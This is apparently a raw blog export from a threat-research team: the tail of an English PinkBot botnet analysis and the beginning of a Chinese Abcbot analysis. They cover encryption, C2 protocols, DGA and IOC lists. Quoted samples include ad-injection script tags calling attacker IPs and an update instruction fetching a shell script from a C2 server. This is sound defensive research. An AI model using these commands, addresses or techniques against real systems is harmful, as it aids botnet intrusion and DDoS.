where dlc and dlc1 are the corresponding content Hash check fields, and the algorithm pseudo-code is: `MD5(MD5( dlist_content)+SHA256(dlist_content)) `.\n\n4. The \"sd0/sdp0\" field is the secure DNS server address. For each Bot, when a DNS resolution record needs to be queried, it will check the DNS service specified here using `DNS-Over-HTTPS`.\n\n5. The srvk field is the public key content (base64 encoding) of the server side. For each bot, its communication with CNC is encrypted. So a unique private key has to be obtained through ECDH key negotiation before the actual communication. After specifying the public key on the CNC side here, it also completes the verification of the Bot's identity to the CNC by the way. This is an extension of the original ECDH. \n\n6. The pxy field is presumably an option for the proxy usage. There is no sign of its being used, and it is not clear how the logic works.\n\n\n### Protection of configuration information\n\n\nAfter reading the previous section, it is easy to see that the \"configuration information\" is actually the core of the botnet, which guarantees the attacker’s absolute control over the botnet.\n\nTo prevent others from discovering the configuration information, the configuration is encrypted. The decryption algorithm is symmetric, and the decryption code logic is as follows. \n\n```\ndef easydecrpyt(message):\n res = \"\"\n for cursor in range(0, len(message)):\n mbt = ord(message[cursor])\n res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))\n return res\n```\n\n\nThe bot master also signed the configuration information using ecdsa to make sure no one can mess with the message, with the following signature details. \n\n1. The cryptographic library used for signature verification is `mbedtls`.\n\n2. The signature algorithm is `ECDSA`.\n\n3. The curve used for the signature is: `MBEDTLS_ECP_DP_SECP192R1`.\n\n4. The public key used for signature checking is: `04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E`\n\n\n### Distribution of Configuration Information\n\nIn addition to ensuring the confidentiality and integrity of the configuration information, the bot master also uses several means to distribute the configuration information to ensure its availability.\n\n#### a) Distribution of configuration information through third-party services\n\n*1. Distribution of configuration information via BTC+GITHUB*\n\nThe core of this distribution channel is a project hidden on GITHUB, the most recently seen project is (mypolo111/vfg), and you can see two lines in the README of this project. \n\n\n<img src=\"__GHOST_URL__/content/images/2019/11/pink_readme.png\" width=\"860px\" />\n\nWhere the pattern is `P!!! <base64>I!!!` line is the configuration signature and the schema is `N!!! <base64>K!!!` line is the ciphertext of the configuration information.\n \nHowever, for each Bot, trying to find this hidden item is a multiple steps process:\n\nStep 1: A topic tag was first generated from the transfer record of a fixed BTC wallet \\[1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF], (after reversing the sample, I reverted the process as shown below, the query of the BTC wallet uses four web services, and the specific addresses are also shown in the figure).\n\n\n<img src=\"__GHOST_URL__/content/images/2019/11/image.png\" width=\"860px\" />\n\n\nStep 2: For each of the possible topic tags, there are many related github projects. Going through the ISSUES of these projects and looking for a file with the format `...!<base64>...?` String,when a match is located, restoring the base64 will give you the address (for example, the most recent one we found is `...!L215cG9sbzExMS92Zmc=...?` By restoring this base64, the address of the hidden item is `mypolo111/vfg`)\n \nStep 3: Searching GITHUB Topics and ISSUES to find the hidden GIT project.\n \nPS: `mypolo111` has submitted ISSUES in several projects, the relevant \nscreenshots are shown below.\n\n\n<img src=\"__GHOST_URL__/content/images/2019/11/mypolo111_issues.png\" width=\"860px\" />\n\n\nImportant note here: With these set of addressing logic above, the bot master can easily switch the real GITHUB project address by adding transaction records to a specific BTC wallet. In such a case, the specified BTC wallet must be blocked in order to disrupt the GITHUB-based distribution logic of the botnet, or else the defender would just be playing whack a mole.\n \n\n*2. Distribution of configuration information through a Chinese website*\n\nIn a few samples, the bot master also distributed configuration information via a website in China, using similar logic to that of GITHUB distribution.\n\n\n#### b) Distribution of configuration information via P2P\n\nTwo methods are supported here:\n \n1. P2P-Over-UDP123 distribution\n\nFor this method, when the bot starts, it will listen to the UDP-123 port, which is originally the default port of NTP service, doing this might trick some users to think this is just a normal NTP service and nothing needs to be looked here. Then it will launch a Peer probe request to four B-segment addresses on the public network (`\"114.25.0.0/16\"`, `\"36.227.0.0/16\"`, `\"59.115.0.0/16\"`, `\"1.224.0.0/16\"`) with the content `1C 00 00 00`.\n\n - When the target is a real NTP server it will respond with NTP time, while if the target is a bot node, two possible responses are expected.\n - If the target Bot does not have the c2 information it will respond with `1D 00 00 00`\n - When the target Bot has already gotten the C2 information, it replies with the signature of the C2 information and the corresponding cipher text, and before sending, 0xE3 will be added to the message header.\n\nThe following figure shows the recently captured configuration information via UDP-123.\n\n<img src=\"__GHOST_URL__/content/images/2020/03/UDP-123-hexdata.png\" width=\"860px\" />\n\n \n#### c) Distribution of configuration information via C2\n \nThe attacker has a domain name cnc.pinklander.com built into some of the samples. When the domain name is enabled, a web page is displayed with the same content as the GITHUB project. It is also the base64 encoded configuration information.\n \n \n## PinkBot Command\n\n#### Command Format\n\nEach command contains at least 7 bytes, and the meaning is as follows.\n\n1. Token field, 4 bytes long, the value of this field is specified by the server and will be used all the time after it is specified. When the server side accepts it, it will assign a Token value to the Bot, which is considered successful.\n2. Command field, length 1 byte, after C2 sends out the command, Bot should return the execution result with the same command code.\n3. Content length field, 2 bytes in length. When the instruction does not contain specific content, it is set to zero, otherwise it is filled with the number of bytes of content length and appended with the cipher content.\n4. Instruction. When the instruction contains content, this field is filled with the instruction content of the cipher text. See below for decryption method.\n\nHere is a screenshot for reference, where the instruction field is marked in red.\n\n<img src=\"__GHOST_URL__/content/images/2020/03/Snip20191130_9.png\" width=\"860px\" />\n\n\n### Instruction communications \n \n#### a) Encryption\n \nThe cncip1 and cncport1 in the above configuration information are the actual C2 nodes used by the attacker. The communication details are as follows.\n \n1. The cryptographic library used is: `mbedtls`;\n2. The exchange algorithm used in the key exchange phase is ecdh, and the loading curve is `MBEDTLS_ECP_DP_CURVE25519`;\n3. The server-side ECDH public key is hard-coded in the samples in the early stages of development , and later on, it is changed to be specified in the configuration information. However, the content has not changed so far: `14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D`\n4. The algorithm used in the encryption/decryption phase of the message is \nAES, the key is the secret after key exchange, and the loading parameters are `MBEDTLS_AES_ENCRYPT` and `MBEDTLS_AES_DECRYPT`;\n5. For ECDH, generally the public and private keys of both parties are regenerated every time. In Pink, however, only the Bot side is required to be different each time, while the server side specifies a fixed pair of public-private keys. This built-in server-side public key is equivalent to giving the Bot the ability to authenticate the CNC, thus eliminating the possibility of man-in-the-middle attacks.\n\n#### b) Instruction Content\n\nIn order to adapt to the different distribution of byte sequences in mipsb/mipsl models at the same time, the transmitted content is transformed by the open source library nanopb, which can abstract the serialization and deserialization process by agreeing on a template, thereby ignoring the interference of big/little endian memory.\n\n### The instructions\n\nThe Pink instruction has a rich set of controls.\n\n> 1. File download\n> 2. System command execution\n> 3. DDoS attacks (HTTP attacks and UDP attacks)\n> 4. Scan(the specifics of the scan can be set by the command)\n> 5. Report device information (CPU / system type / memory information / system version / hardware information)\n> 6. Self-update (save new version to /tmp/client and then run)\n> 7. P2P node list synchronization (push a set of P2P nodes directly to the Bot)\n> 8. Http message injection (on the victim device, advertising js scripts will be injected when traffic type is http)\n> 9. Sock5 proxy service (set up Socks5 proxy service on Bot side, account password set by command)\n> 10. Download the file and execute\n> 11. Stop the attack\n> 12. Reset watchdog\n\n## PinkBot persistence method\n\nUnlike other the botnets we commonly see, Pink will flash the original firmware of the fiber router after infecting it in order to maintain absolute controls. In the rewritten firmware, PinkBot's downloader c2 and the supporting bootloader are included.\n \nThe following figure shows the list of files added/modified by Pink.\n\n<img src=\"__GHOST_URL__/content/images/2020/03/pink_flash_tree_diff.png\" width=\"860px\" />\n\nThe tmp directory can be ignored, as it contains temporary files generated when the sample runs.\n\nKey file descriptions.\n - /bin/protect: `md5:9ec5bd857b998e60663e88a70480b828`\n\nThe protect file is actually more like a downloader, in the sample you can see codes that support above-mentioned 5 methods to get configuration information. The main function is to get the latest samples from the configuration information and start them up.\n\n\n - /bin/tr69c: `md5:451a3cf94191c64b5cd1be1a80be7799`\n\nThe tc69c file is a patch version of tr69c of the original firmware of the fiber router. It removes the update function from the firmware, which basically makes it impossible to update the firmware through tr69c. \n\n## Command Tracking\n\nWe simulated PinkBot node to receive commands distributed by the C2 in real time. In addition to the daily maintenance-type instructions (heartbeat instructions/peerlist synchronization instructions), we also received several instructions to insert advertisements to WEB pages, such as:\n\n```\n<script async src=\"http【:】//45.32.21.251/j/?$$\"></script>\n<script async src=\"http【:】//167.179.80.159/j/?$$\"></script>\n<script async src=“http【:】//114.55.124.13/j/?$$“></script>\n```\n\nWe have noticed that the configuration information for pink changes intermittently, mainly in the CNC and DL* fields, and it has stabilized in recent months. Below is the latest configuration information we captured on 2021/10/5 (BST). \n\n\n```\n{\n \"verify\":\"1611936001\",\n \"cncip1\":\"140.82.40.29\",\n \"cncport1\":\"26007\",\n \"dlc\":\"450aa79da035a8a55ca4c0e6b1025b50\",\n \"dl\":\"http://209.250.247.60/dlist.txt\",\n \"dlc1\":\"47ed94977b45099f1ef5c7701b2d25dc\",\n \"dl1\":\"https://****.com/****/dlist.txt\",\n \"sd0\":\"1.1.1.1\",\n \"sdp0\":\"443\",\n \"srvk\":\"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=\",\n \"pxy\":\"1\"\n}\n```\n\n## Current Size\n\nAs mentioned earlier, Pink uses P2P to distribute non-real-time command information. Using this feature, we were able to evaluate the number of PinkBot infections on a global basis. The major vendor has been exploring all possible methods to eliminate infected devices and the infection number has dropped significantly. While at the same time, there are still a good amount of infected units out there, on 2021/10/20, we still see 103024 daily active IPs.\n\n## DDoS attacks\n\nDDos does not seem to be a big thing with Pink, we have seen Pink launching around 100 DDos attacks all together, for example:\n\n```\n2020/3/24 UDP-DDoS, Victim 203.56.252.137:26999\n2020/4/8 HTTP-DDoS, Victim 180.101.192.199:27020\n```\n\n## Extra: Pink's turf war\n\nIn the process of analyzing and tracking the Pink botnet. We noticed that the bot master and vendor have conducted several offensive and defensive cyber wars. \n\n**Round 0**: According to information provided by one major vendor involved, the confrontation first occurred in mid-November 2019. The vulnerability under attack originated from a TCP-17998 control service, which is an interface provided to operators to the device. Due to a misconfiguration and implementation of the service, access was opened to the public network, through which the attacker gained control of the relevant fiber routers.\n\n**Round 1**: After discovering this problem, the vendor started to try to fix its own device through the same vulnerability on the public network. However, it was soon discovered and immediately acted upon by the bot master, who shut down the TCP-17998's extranet access via iptables, preventing further fixes by the vendor using this method.\n\n**Round 2**: This time the attack and defense focused on the tr069 upgrade channel. The vendor from the operator side can use tr096 to get in and repair the device when the unit boots up. However, the attacker had great visibility and quickly updated the firmware to turn off the tr096 update channel.\n\n**Round 3**: Now the vendor tried to use the TCP-80 HTTP service on the LAN side of the device to repair the device, however, the attacker quickly noticed what was going on and updated the firmware again to take out the HTTP service file on the device. At this point, all devices have no control plane for the vendor to provide management service.\n\n**The finally**: The only option left for the vendor to dispatch people to the end customers to physically access the fiber router, disassemble the debugging interface or simply replace the unit. \n\n**Our take**: The bot master easily got an upper hand in multiple rounds of offensive and defensive confrontations, the vendor had no control and no visibility to where the devices are, how many of them are infected and what was going on on these devices and had no way to easy access the devices. On the other hand, the bot master had full visibility and full control over the infected devices and could issue whatever service command such as blocking ports, removing services through the centralized C2 in real time.\n\n## Extra2 more about GITHUB action\n\nWe traced back the Pink and found out that its first existence went back as early as October 16, 2018, at that time the Github account used was pink78day (this account is not exist now, seet Google snapshot here).\n\n<img src=\"__GHOST_URL__/content/images/2020/03/pink78day.png\" width=\"860px\" />\n\n\nThe account currently used by PinkBot is mypolo111 registered in late November 2019, and pink78day is no longer searchable on Github.\n \nNote here as we mentioned before pink78day is not used as a centralized channel for distributing instructions, so simply blocking this account would have no real effect. The attacker can instantly redirect Bot to a new account by just adding a new transaction record to its BTC wallet. \n\n\n# IOC\n## C&C address\n\nThe attacker used the following C2 addresses.\n\n```\ncnc.pinklander[.]com\n144.202.109.110:40080\n144.202.109.110:32876\n207.148.70.25:12368\n45.32.125.150:12368\n45.32.125.188:12368\n45.32.174.105:12368\n5.45.79.32:12368\n```\n\n## Synchronization Service\n\nPink synchronizes samples via HTTP services. Some of the HTTP services \nused are publicly services and some are temporally created.\n\nThe following URLs have been used for sample synchronization. These URLs \nwere all extracted from PinkBot's configuration.\n\n```\nhttp[:]//1.198.50.63:1088/dlist.txt\nhttp[:]//1.63.19.10:19010/var/sss/dlist.txt\nhttp[:]//104.207.142.132/dlist.txt\nhttp[:]//108.61.158.59/dlist.txt\nhttp[:]//111.61.248.32:1088/dlist.txt\nhttp[:]//112.26.43.199:81/dlist.txt\nhttp[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt\nhttp[:]//117.131.10.102:1088/d/dlist.txt\nhttp[:]//123.13.215.89:8005/d/dlist.txt\nhttp[:]//125.74.208.220:81/dlist.txt\nhttp[:]//140.82.24.94/dlist.txt\nhttp[:]//140.82.30.245/d/dlist.txt\nhttp[:]//140.82.53.129/dlist.txt\nhttp[:]//144.202.38.129/dlist.txt\nhttp[:]//149.28.142.167/p/dlist.txt\nhttp[:]//149.28.142.167/p1/dlist.txt\nhttp[:]//155.138.140.245/dlist.txt\nhttp[:]//167.179.110.44/dlist.txt\nhttp[:]//173.254.204.124:81/dlist.txt\nhttp[:]//182.139.215.4:82/dlist.txt\nhttp[:]//207.148.4.202/dlist.txt\nhttp[:]//218.25.236.62:1987/d/dlist.txt\nhttp[:]//218.25.236.62:1988/d/dlist.txt\nhttp[:]//222.216.226.29:81/dlist.txt\nhttp[:]//45.32.26.220/dlist.txt\nhttp[:]//45.76.104.146/dlist.txt\nhttp[:]//45.77.165.83/p1/dlist.txt\nhttp[:]//45.77.198.232/p1/dlist.txt\nhttp[:]//45.88.42.38/p1/dlist.txt\nhttp[:]//61.149.204.230:81/dlist.txt\nhttp[:]//66.42.114.73/dlist.txt\nhttp[:]//66.42.67.148/dlist.txt\nhttp[:]//8.6.193.191/dlist.txt\nhttp[:]//95.179.238.22/dlist.txt\nhttps[:]//***.com/**/dlist.txt\nhttps[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt\n```\n\n\n## MD5 \n\nThe relevant samples (ELFs).\n\n```\n9ec5bd857b998e60663e88a70480b828 /bin/protect\n451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c\n06d6ad872e97e47e55f5b2777f78c1ba slient_l\n07cd100c7187e9f4c94b54ebc60c0965 slient_b\n0f25b0d54d05e58f5900c61f219341d3 client_b\n0f89e43ea433fdfd18a551f755473388 slient_l\n1197994610b2ffb60edbb5ab0c125bc0 client_b\n167364ad0d623d17332f09dbb23a980e client_b\n175b603082599838d9760b2ab264da6f slient_l\n1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l\n229503686c854bb39efdc84f05b071b9 slient_b\n25a07e3ef483672b4160aa12d67f5201 client_l\n262a4e242c9ebeba79aa018d8b38d229 client_l\n29d0afd2a244c9941976ebf2f0f6597f client_l\n2befedd020748ff6d9470afad41bd28c slient_b\n2ca5810744173889b2440e4f25b39bd4 client_l\n36e48e141943a67c6fdeaa84d7af21cc client_b\n3a620ff356686b461e0e1a12535bea24 slient_l\n41bbe8421c0a78067bae74832c375fe8 slient_l\n45ee78d11db54acfdda27c19e44c3126 client_l\n4830c3950957093dac27d4e87556721e slient_l\n484761f281cb2e64d9db963a463efca5 client_l\n48a7f2799bf452f10f960159f6a405d3 client_l\n494412638dc8d573172c1991200e1399 client_l\n4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b\n50270de8d5783bb0092bf1677b93c97b slient_l\n54aa9e716567bd0159f4751916f7f0d1 client_l\n5ae1fec20c2f720269c2dc94732187e8 slient_b\n5b62a9bd3431c2fd55283380d81c00fa client_b\n5c322610e1845d0be9ccfc8a8b6a4c4f client_l\n5c4f8dae67dad8cac141afa00847b418 slient_b\n5d0d034845bd69179bf678104c046dc1 client_b\n60658ef214c960147200d432eece3e13 slient_l\n60a2b1bb02a60ac49f7cc1b47abdf60c client_l\n610f0aadba3be1467125607bf2ba2aaf slient_l\n66a068fd860bda7950fde8673d1b5511 client_b\n6c4de9bd490841f0a6c68638f7253c65 client_b\n72c531a813b637af3ea56f288d65cdb7 slient_b\n7608b24c8dcf3cd7253dbd5390df8b1f client_b\n7645a30a92863041cf93a7d8a9bfba1a client_b\n857fc3c7630859c20d35d47899b75699 slient_b\n861af6b5a3fea01f2e95c90594c62e9d client_l\n8e86be3be36094e0f5b1a6e954dbe7c2 client_l\n8fbcd7397d451e87c60a0328efe8cd5d client_b\n987a9befb715b6346e7ad0f6ac87201f slient_b\n9eb147e3636a4bb35f0ee1540d639a1b slient_b\naa2fc46dd94cbf52aef5e66cdd066a40 client_l\nae8b519504afc52ee3aceef087647d36 slient_b\nb0202f1e8bded9c451c734e3e7f4e5d8 slient_b\nb6f91ad027ded41e2b1f5bea375c4a42 slient_b\nb9935859b3682c5023d9bcb71ee2fece slient_b\nb9d1c31f59c67289928e1bb7710ec0ba client_l\nbec2f560b7c771d7066da0bee5f2e001 client_b\nc2efa35b34f67a932a814fd4636dd7cb slient_l\nc839aff2a2680fb5676f12531fecba3b slient_b\nc94504531159b8614b95c62cca6c50c9 slient_l\ndfe0c9d36062dd3797de403a777577a6 client_b\ne19a1106030e306cc027d56f0827f5ce slient_l\nf09b45daadc872f2ac3cc6c4fe9cff90 client_b\nf5381892ea8bd7f5c5b4556b31fd4b26 client_b\nf55ad7afbe637efdaf03d4f96e432d10 slient_b\nf62d4921e3cb32e229258b4e4790b63a client_b\nf81c8227b964ddc92910890effff179b slient_b\nfc5b55e9c6a9ddef54a256cc6bda3804 client_b\nfe8e830229bda85921877f606d75e96d slient_l\nfee6f8d44275dcd2e4d7c28189c5f5be client_l\n```\n\n## Contact us \nReaders are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn."}]],"markups":[],"sections":[[10,0],[1,"p",[]],[1,"p",[]]],"ghostVersion":"3.0"} | 617a0a163819e500076359e8 |
post | null | 2021-11-04T10:11:25.000Z | 63873b9a8b1c1e0007f52fec | abcbot_an_evolving_botnet_cn | 0 | 2021-11-09T09:03:13.000Z | public | published | null | 2021-11-09T08:47:24.000Z | 僵尸网络Abcbot的进化之路 | <!--kg-card-begin: markdown--><h1 id="">背景</h1>
<p>业务上云、安全上云是近年来业界的发展趋势之一。360Netlab 从自身擅长的技术领域出发，也在持续关注云上安全事件和趋势。下面就是我们近期观察到的一起，被感染设备IP来自多个云供应商平台的安全事件。</p>
<p>2021年7月14日，360BotMon系统发现一个未知的ELF文件(a14d0188e2646d236173b230c59037c7)产生了大量扫描流量，经过分析，我们确定这是一个Go语言实现的Scanner，基于其源码路径中"abc-hello"字串，我们内部将它命名为<code>Abcbot</code>。</p>
<p>Abcbot在当时的时间节点上功能比较简单，可以看成是一个攻击Linux系统的扫描器，通过弱口令&Nday漏洞实现蠕虫式传播。一个有意思的事情是，Abcbot的源码路径中有“dga.go”字串，但是在样本中并没有发现相关的DGA实现，我们推测其作者会在后续的版本中补上这个功能，这让我们对这个家族多了几分留意。</p>
<p>随着时间的推移，Abcbot也在持续更新，如我们所料，它在后继的样本中加入了DGA特性。如今Abcbot除了拥有蠕虫式传僠的能力，还有<strong>自更新，Webserver，DDoS</strong>等功能。</p>
<p>时间来到2021年10月8日，Trend Micro发布了关于此家族的<a href="https://www.trendmicro.com/en_us/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html"><strong>分析报告</strong></a>，报告中着重分析了传播Abcbot的前置SHELL脚本，但对Abcbot本身的功能几笔带过。</p>
<p><strong>鉴于Abcbot处于持续开发中，功能在不断的更新，危害变得越来越大</strong>，我们决定撰写本文向社区分享我们的发现。</p>
<h1 id="">时间线</h1>
<ul>
<li>2021年7月14日，首次捕获abcbot，主要功能为Scanner,WebServer。</li>
<li>2021年7月22日，abcbot更新，在自更新的函数中加入dga相关代码。</li>
<li>2021年10月10日，abcbot更新，代码结构变化属于微调级别。</li>
<li>2021年10月12日，abcbot更新，代码结构变化属于重构级别。</li>
<li>2021年10月21日，abcbot更新，借助开源的ATK rootkit实现DDoS功能。</li>
<li>2021年10月30日，abcbot更新，放弃ATK rootkit,转向自身实现DDoS功能。</li>
</ul>
<h1 id="abcbot">Abcbot概述</h1>
<p>我们以2021年10月30日的最新样本为蓝本，将Abcbot定性为，一个攻击常见数据库和WEB大型服务器的僵尸网络，它通过弱口令&Nday漏洞实现蠕虫式传播，主要盈利手段为DDoS。</p>
<p>目前支持以下9种攻击方法：</p>
<ul>
<li>tls Attack</li>
<li>tcp Attack</li>
<li>udp Attack</li>
<li>ace Attack</li>
<li>hulk Attack</li>
<li>httpGet Attack</li>
<li>goldenEye Attack</li>
<li>slowloris Attack</li>
<li>bandwidthDrain Attack</li>
</ul>
<p>它的基本流程图如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_brief.png" width="860px" />
<h1 id="">逆向分析</h1>
<p>我们一共捕获了6个不同版本的abcbot样本，本文选取10月30日的样本为主要分析对象，它的基本信息如下所示：</p>
<pre><code>MD5:ae8f8cf967ca15a7689f2d1f79fbc5dc
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Packer:upx
Date:2021-10-30
</code></pre>
<p>Abcbot使用标准的UPX壳加固自身，当它在被侵入的设备运行时，Abcbot通过将自身分别拷贝成以下文件以迷惑用户，随后相继启动dockerlogger，iptablesupdate进程。</p>
<pre><code>/bin/dockerlogger
/usr/bin/dockerlogger
/etc/iptablesupdate
</code></pre>
<p>其中<code>iptablesupdate</code> 进程负责扫描感染新的设备，将本地设备信息上报给C2，等待执行C2下发的DDoS指令。<br>
而<code>dockerlogger</code>进程则负责把被感染设备变成Webserver，将本地设备信息上报给C2，等待执行更新服务器下发的Updata指令。下文将从这些功能出发剖析Abcbot的具体实现。</p>
<h2 id="0x01c2">0x01: 往C2上报设备信息</h2>
<p>目前捕获的Abcbot的样本中都硬编码了一个加密的C2字串（“GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu”），它使用Base64编码&XOR加密。</p>
<p>Base64的解码操作如下所示，可以看出Abcbot更改了Alphabet值，它使用的Alphabet为<code>LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/</code>，</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_base.png" width="860px" />
<p>将Base64解码后的结果和 <code>0x31 0x32 0x33</code>进行异或，就能得到以下最终的结果</p>
<pre><code>http://103.209.103.16:26800
</code></pre>
<p>解密得到C2后，<code>iptablesupdate</code> 和<code>dockerlogger</code>进程都是都通过路径"/api/postip"向C2上报设备信息，设备信息的格式为<code>OS:%v\x09CPU:%v\x09HX:%vh\x09os-name:%v\x09lanip:%v</code>。事实上这两个进程收集的设备信息都是一样的，都是调用了<code>abc_hello_util_Os_pz</code>函数，唯一的差导如下图所示，可以看出dockerlogger进程会在上报的信息中附加"\td0.02"，iptablesupdate则附加“\ti0.02”，其中"d","i"字符暗示了上报流量的进程，"0.02"则类似版本（10月21日的样本中，版本为"0.01"）。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_twodiff.png" width="860px" />
<p>实际产生的流量如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_reg.png" width="860px" />
<h2 id="0x02">0x02: 扫描传播</h2>
<p>Abcbot通过“abc_hello_plugin_StartScan”函数负责感染新设备，它的逻辑是随机生成IP，检测该IP上可以被攻击网络服务的端口是否开放，进而选用相应的弱口令列表，或漏洞对服务进行攻击，最终完成蠕虫式扫描传播。</p>
<p>下面的代码片段展示了Abcbot尝试攻击Weblogic的过程。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_logic.png" width="860px" />
<p>在Abcbot样本中，可以很清楚的看到对相关网络服务攻击所用到的函数，</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_serv.png" width="860px" />
<p>对照上面的函数列表可知Abcbot利用的的弱口令&漏洞一共有7种，详情如下所示：</p>
<ol>
<li>SSH弱口令</li>
<li>FTP弱口令</li>
<li>PostgreSQL弱口令</li>
<li>Redis弱口令</li>
<li>Mssql弱口令</li>
<li>Mongo弱口令</li>
<li>WebLogic漏洞（CVE-2020-14882）</li>
</ol>
<h2 id="0x03webserver">0x03: WebServer</h2>
<p>Abcbot通过"abc_hello_web_StartServer"函数在被感染的设备上启动一个WebServer,监听的端口为26800，支持的方法以及路径如下表所示：</p>
<table>
<thead>
<tr>
<th>Method</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/api/postip</td>
</tr>
<tr>
<td>POST</td>
<td>/api/configlist</td>
</tr>
<tr>
<td>POST</td>
<td>/api/getlist</td>
</tr>
<tr>
<td>POST</td>
<td>/api/check</td>
</tr>
</tbody>
</table>
<p>实际效果如下图所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_web.png" width="860px" />
<p>目前真正产生了用途的路径是"/api/check"，在扫描传播过程中，通过请求<code>目标ip:26800/api/check</code>，用于判断设备是否已经被感染。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_check.png" width="860px" />
<p>其它的路径，只是保持连通性了，没有真正的用途，当访问它们是，只是会在"/tmp/.abchello"目录下生成日志文件。</p>
<p>事实上通过"curl - X POST"去测试C2，可以发现C2上也存在上面的4个路径。Abcbot的作者似乎想打破目前的C/S网络模型，把Bot在网络中的角色向Server靠近，因此我们推测Acbbot的网络结构，或许会转向P2P。</p>
<h2 id="0x04">0x04: 自更新</h2>
<p>7月22日，Abcbot引入“abc_hello_util_Updata”函数负责处理自更新，它的逻辑是向远程服务器请求"2.txt"资源，“2.txt”由2部分组成，它的格式为“Resource(hex格式)|数字签名(hex格式)”，当Bot成功拉取到2.txt后，会通过以下代码片段对当数字签名进行校验。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_verify.png" width="860px" />
<p>样本中硬编码的公钥为：</p>
<pre><code>-----BEGIN RSA PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==
-----END RSA PUBLIC KEY-----
</code></pre>
<p>校验成功后，对Resource进一步的分解，Resource的格式为"cmd|downloader url| crc32|cmd2"，当cmd为"alldown2"时，向downloadser url 请求下载，并校验文件的crc32 hash值，检测成功后，执行下载的文件完成自更新的过程。</p>
<p>实际获得的2.txt如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_updata.png" width="860px" />
<p>Resource部分以HEX格式解码后就是具体的升级指令了。</p>
<pre><code>alldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl
</code></pre>
<p>在这个过程中远程服务器域名的来源有以下3种：</p>
<ol>
<li>硬编码的TOR域名（解密方法与C2一样）</li>
<li>DGA算法生成前缀字串，分别与(.com，.tk，.pages.dev)3个后缀拼接成域名</li>
<li>DGA算法生成字串，当成github帐号，之后从这个github账号中获取升级资源</li>
</ol>
<p>下图的代码片段正是Abcbot向DGA生成的域名，以及GITHUB仓库请求2.txt资源的过程。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_dga.png" width="860px" />
<p>各个时间节点的样本所采用的域名如下所示：</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>MD5</th>
<th>Res Tor Domain</th>
<th>DGA Domain</th>
<th>DGA Github</th>
</tr>
</thead>
<tbody>
<tr>
<td>07-14</td>
<td>a14d0188e2646d236173b230c59037c7</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>07-22</td>
<td>e535215fad2ef0885e03ba111bd36e24</td>
<td>1</td>
<td>3/month</td>
<td>1/month</td>
</tr>
<tr>
<td>10-10</td>
<td>6e66456ffb457c52950cf05a6aaabe4a</td>
<td>1</td>
<td>3/month</td>
<td>0</td>
</tr>
<tr>
<td>10-12</td>
<td>39d373434c947742168e07cc9010c992</td>
<td>1</td>
<td>3/month</td>
<td>0</td>
</tr>
<tr>
<td>10-21</td>
<td>e95c9bae6e2b44c6f9b98e2dfd769675</td>
<td>0</td>
<td>27/month</td>
<td>0</td>
</tr>
<tr>
<td>10-30</td>
<td>ae8f8cf967ca15a7689f2d1f79fbc5dc</td>
<td>0</td>
<td>27/month</td>
<td>0</td>
</tr>
</tbody>
</table>
<p>10月Abcbot的DGA生成的部分域名如下所示：</p>
<pre><code>dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
</code></pre>
<p>当Abcbot开始使用DGA生成更新服务器的域名时，我们在第一时间进行了<strong>抢注了部分域名</strong>，这让我们能够度量它的规模。从目前的统计数据来看Abcbot的规模并不大，IP总数是261。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_scale.png" width="860px" />
<p>目前被感染主机的服务商分布如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_static.png" width="860px" />
<h2 id="0x05ddos">0x05: DDoS</h2>
<p>10月21日，Abcbot引入了"main_TimeDDos"函数负责处理DDoS攻击，它的逻辑是通过路径“/api/getlist”向C2请求DDoS指令，指令由2部分组成，“DDoS指令(hex格式)|指令数字签名(hex格式)”。当Bot收到指令后，复用上文自更新小节中的数字签名进行校验，校验成功后才能执行。</p>
<p>实际产生的流量如下所示，"|"字符前的"73746f70"字串，正是"stop"指令。</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_ddos.png" width="860px" />
